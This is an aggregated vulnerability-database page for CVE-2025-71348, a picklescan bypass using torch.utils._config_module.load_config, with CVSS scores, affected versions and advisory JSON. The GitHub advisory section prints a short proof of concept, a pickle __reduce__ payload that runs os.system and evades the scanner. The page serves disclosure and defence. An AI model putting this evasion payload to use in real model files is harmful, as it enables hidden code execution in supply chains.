Vulnerability-Lookup

CVE-2025-71348 (GCVE-0-2025-71348)

Vulnerability from cvelistv5 – Published: 2026-06-21 13:26 – Updated: 2026-06-22 19:05

Title

picklescan - Arbitrary Code Execution via torch.utils._config_module.load_config Bypass

Summary

picklescan before 0.0.28 fails to detect malicious pickle files that invoke torch.utils._config_module.load_config function within reduce methods. Attackers can craft pickle files embedding arbitrary code that evades detection but executes during pickle.load, enabling remote code execution in supply chain attacks.

Severity

7.6 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-22 19:05 UTC

CWE

CWE-502 - Deserialization of Untrusted Data

Assigner

VulnCheck mitre root Scorecard

References

2 references

URL	Tags
https://github.com/mmaitre314/picklescan/security…	vendor-advisory
https://www.vulncheck.com/advisories/picklescan-a…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
picklescan	picklescan	Affected: 0 , < 0.0.28 (semver) Unaffected: 0.0.28 (semver) cpe:2.3:a:mmaitre314:picklescan::::::::

Date Public

2025-08-22 00:00

Credits

FredericDT

Show details on NVD website

JSON

To clipboard

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EUVD-2026-329099

European Vulnerability Database identifier assigned by ENISA

Reserved

2026-10-02 07:48

Assigner

ENISA

Alias of

a CVE record, shown under related vulnerabilities. This identifier carries no description, severity or references of its own: they belong to that CVE.

JSON

To clipboard

{
  "assigner": "ENISA",
  "date_reserved": "2026-10-02T07:48:35.469367+00:00",
  "id": "EUVD-2026-329099"
}

FKIE_CVE-2025-71348

Vulnerability from fkie_nvd - Published: 2026-06-21 14:16 - Updated: 2026-10-05 16:10

Severity

8.1 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
disclosure@vulncheck.com	https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vv6j-3g6g-2pvj	Exploit, Vendor Advisory
disclosure@vulncheck.com	https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-torch-utils-config-module-load-config-bypass	Third Party Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vv6j-3g6g-2pvj	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	mmaitre314	picklescan	*

JSON

To clipboard

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          "defaultStatus": "unaffected",
          "packageURL": "pkg:pypi/picklescan",
          "product": "picklescan",
          "vendor": "picklescan",
          "versions": [
            {
              "lessThan": "0.0.28",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "0.0.28",
              "versionType": "semver"
            }
          ]
        }
      ],
      "source": "disclosure@vulncheck.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:mmaitre314:picklescan:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "F37D0634-B9DA-411D-B816-89AFF0F749B0",
              "versionEndExcluding": "0.0.28",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "picklescan before 0.0.28 fails to detect malicious pickle files that invoke torch.utils._config_module.load_config function within reduce methods. Attackers can craft pickle files embedding arbitrary code that evades detection but executes during pickle.load, enabling remote code execution in supply chain attacks."
    },
    {
      "lang": "es",
      "value": "picklescan anterior a la versi\u00f3n 0.0.28 no detecta archivos pickle maliciosos que invocan la funci\u00f3n torch.utils._config_module.load_config dentro de los m\u00e9todos reduce. Los atacantes pueden crear archivos pickle que incrustan c\u00f3digo arbitrario que evade la detecci\u00f3n pero se ejecuta durante pickle.load, posibilitando la ejecuci\u00f3n remota de c\u00f3digo en ataques a la cadena de suministro."
    }
  ],
  "id": "CVE-2025-71348",
  "lastModified": "2026-10-05T16:10:00.443",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.2,
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 7.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.8,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "PRESENT",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 7.6,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "PASSIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2025-71348",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-22T19:05:34.765825Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-21T14:16:22.750",
  "references": [
    {
      "source": "disclosure@vulncheck.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vv6j-3g6g-2pvj"
    },
    {
      "source": "disclosure@vulncheck.com",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-torch-utils-config-module-load-config-bypass"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vv6j-3g6g-2pvj"
    }
  ],
  "sourceIdentifier": "disclosure@vulncheck.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-502"
        }
      ],
      "source": "disclosure@vulncheck.com",
      "type": "Secondary"
    }
  ]
}

GHSA-VV6J-3G6G-2PVJ

Vulnerability from github – Published: 2025-08-22 16:58 – Updated: 2026-09-11 19:36

Summary

Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config

Details

Summary

Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the reduce method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution.

PoC

import pickle
from torch.utils._config_module import ConfigModule

class Evil:
    def __reduce__(self):
        return (os.system, ('whoami',))

class EvilTorchUtilsConfigModuleLoadConfig:
    def __reduce__(self):
        evil_payload = pickle.dumps(Evil())
        return ConfigModule.load_config, (None, evil_payload)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

7.6 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.0.27"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-71348"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-22T16:58:14Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nUsing torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the __reduce__ method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution.\n\n### PoC\n\n```\nimport pickle\nfrom torch.utils._config_module import ConfigModule\n\nclass Evil:\n    def __reduce__(self):\n        return (os.system, (\u0027whoami\u0027,))\n\nclass EvilTorchUtilsConfigModuleLoadConfig:\n    def __reduce__(self):\n        evil_payload = pickle.dumps(Evil())\n        return ConfigModule.load_config, (None, evil_payload)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
  "id": "GHSA-vv6j-3g6g-2pvj",
  "modified": "2026-09-11T19:36:47Z",
  "published": "2025-08-22T16:58:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vv6j-3g6g-2pvj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71348"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/pull/47"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2026-245.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-torch-utils-config-module-load-config-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config"
}

PYSEC-2026-245

Vulnerability from pysec - Published: 2026-06-21 14:16 - Updated: 2026-06-27 10:29

Details

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Impacted products

Name	purl
picklescan	pkg:pypi/picklescan

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan",
        "purl": "pkg:pypi/picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.0.10",
        "0.0.11",
        "0.0.12",
        "0.0.13",
        "0.0.14",
        "0.0.15",
        "0.0.16",
        "0.0.17",
        "0.0.18",
        "0.0.19",
        "0.0.2",
        "0.0.20",
        "0.0.21",
        "0.0.22",
        "0.0.23",
        "0.0.24",
        "0.0.25",
        "0.0.26",
        "0.0.27",
        "0.0.3",
        "0.0.4",
        "0.0.5",
        "0.0.6",
        "0.0.7",
        "0.0.8",
        "0.0.9"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-71348",
    "GHSA-vv6j-3g6g-2pvj"
  ],
  "details": "picklescan before 0.0.28 fails to detect malicious pickle files that invoke torch.utils._config_module.load_config function within reduce methods. Attackers can craft pickle files embedding arbitrary code that evades detection but executes during pickle.load, enabling remote code execution in supply chain attacks.",
  "id": "PYSEC-2026-245",
  "modified": "2026-06-27T10:29:13.656988Z",
  "published": "2026-06-21T14:16:22.750Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-torch-utils-config-module-load-config-bypass"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vv6j-3g6g-2pvj"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2025-71348 (GCVE-0-2025-71348)

EUVD-2026-329099

FKIE_CVE-2025-71348

GHSA-VV6J-3G6G-2PVJ

Summary

Details

PoC

Impact

Corresponding

PYSEC-2026-245

Tags

Sightings

Nomenclature

Related by attack behaviour